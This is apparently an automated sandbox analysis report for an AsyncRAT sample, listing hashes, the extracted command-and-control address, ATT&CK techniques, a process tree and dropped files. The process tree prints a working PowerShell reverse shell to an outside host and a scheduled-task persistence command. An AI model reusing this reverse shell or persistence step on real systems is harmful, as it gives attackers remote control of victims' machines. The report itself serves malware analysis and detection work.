asyncrat | b79c63a1f5777b977a48085de65f8041d1d6b2d5d569224b0f81b343578f1803

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 23:44

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General

Target

create.bat
Size

953B
MD5

a34e9091b3cb1b1fddb64dd1e6eafe8b
SHA1

73a9ce1190dbf81871d72cc98b7d81487bad17dc
SHA256

b79c63a1f5777b977a48085de65f8041d1d6b2d5d569224b0f81b343578f1803
SHA512

65391766927605aef01be482578b0f11fc9a9dfd0ee0b0a62ff1df6d07346a4b6d5a0d7409983f3fcd7b8a98e5376fd15bc8961b477be683e88ddf8e5619d0b7

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

technical-southwest.gl.at.ply.gg:58694

Attributes

delay
1
install
true
install_file
WINDOWS.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0003000000000707-21.dat	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	1428	powershell.exe
49	1428	powershell.exe
51	1428	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	Loader.exe

Executes dropped EXE 2 IoCs

pid	Process
3132	Loader.exe
2396	WINDOWS.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1428	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2612	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
468	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1428	powershell.exe
1428	powershell.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
3132	Loader.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe
2396	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeDebugPrivilege	3132	Loader.exe
Token: SeDebugPrivilege	3132	Loader.exe
Token: SeDebugPrivilege	2396	WINDOWS.exe
Token: SeDebugPrivilege	2396	WINDOWS.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 796 wrote to memory of 1428	796	cmd.exe	85
PID 796 wrote to memory of 1428	796	cmd.exe	85
PID 1428 wrote to memory of 3132	1428	powershell.exe	103
PID 1428 wrote to memory of 3132	1428	powershell.exe	103
PID 3132 wrote to memory of 4692	3132	Loader.exe	107
PID 3132 wrote to memory of 4692	3132	Loader.exe	107
PID 3132 wrote to memory of 4536	3132	Loader.exe	109
PID 3132 wrote to memory of 4536	3132	Loader.exe	109
PID 4692 wrote to memory of 468	4692	cmd.exe	111
PID 4692 wrote to memory of 468	4692	cmd.exe	111
PID 4536 wrote to memory of 2612	4536	cmd.exe	112
PID 4536 wrote to memory of 2612	4536	cmd.exe	112
PID 4536 wrote to memory of 2396	4536	cmd.exe	113
PID 4536 wrote to memory of 2396	4536	cmd.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\create.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "$LHOST = 'radio-ebay.gl.at.ply.gg'; $LPORT = 10404; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) } catch { $_ }; $StreamWriter.Write('$Output`n'); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Users\Admin\Desktop\Loader.exe
    "C:\Users\Admin\Desktop\Loader.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3132
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4692
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3F41.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4536
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2612
    - - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dtbr35us.vli.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp3F41.tmp.bat

Filesize
151B

MD5
1cf76cd1858f9e1dc9434fbf2fd787ae

SHA1
17f8a55e0aa203e39ea76a4890e156a94587ff6e

SHA256
4aee591a9206c96114c48d3f91e8d32f681405fffdcde86df3b9d2c6dc32fafb

SHA512
1096173f4e0a571af6246480d97f5aef91515d6dce869f12ed3a08f84f94054cc9fc5f2aa2895549dcb98b853872e89cb00f54fb8ae9b89c23780fa208f71502

Download Submit
C:\Users\Admin\Desktop\Loader.exe

Filesize
63KB

MD5
7ceb11ebb7a55e33a82bc3b66f554e79

SHA1
8dfd574ad06ded662d92d81b72f14c1914ac45b5

SHA256
aea3e89e45a33441bcd06c990282f8601eb960a641c611222dce2fe09685e603

SHA512
d8cd7af50996015163c8926fc7b6df6a6e2c0b3f6c8fcff37cad5b72fed115f7134723d99f61a20576b83e67107a3a410f5ef2312191446b3d0759cb739e6ccd

Download Submit
memory/1428-11-0x00007FFF76D70000-0x00007FFF77831000-memory.dmp

Filesize
10.8MB

Download
memory/1428-12-0x00007FFF76D70000-0x00007FFF77831000-memory.dmp

Filesize
10.8MB

Download
memory/1428-13-0x00007FFF76D73000-0x00007FFF76D75000-memory.dmp

Filesize
8KB

Download
memory/1428-15-0x00007FFF76D70000-0x00007FFF77831000-memory.dmp

Filesize
10.8MB

Download
memory/1428-14-0x00007FFF76D70000-0x00007FFF77831000-memory.dmp

Filesize
10.8MB

Download
memory/1428-16-0x00007FFF76D70000-0x00007FFF77831000-memory.dmp

Filesize
10.8MB

Download
memory/1428-0-0x00007FFF76D73000-0x00007FFF76D75000-memory.dmp

Filesize
8KB

Download
memory/1428-1-0x000001FAF53C0000-0x000001FAF53E2000-memory.dmp

Filesize
136KB

Download
memory/1428-39-0x00007FFF76D70000-0x00007FFF77831000-memory.dmp

Filesize
10.8MB

Download
memory/3132-28-0x0000000000AD0000-0x0000000000AE6000-memory.dmp

Filesize
88KB

Download
memory/3132-29-0x00007FFF76D70000-0x00007FFF77831000-memory.dmp

Filesize
10.8MB

Download
memory/3132-34-0x00007FFF76D70000-0x00007FFF77831000-memory.dmp

Filesize
10.8MB

Download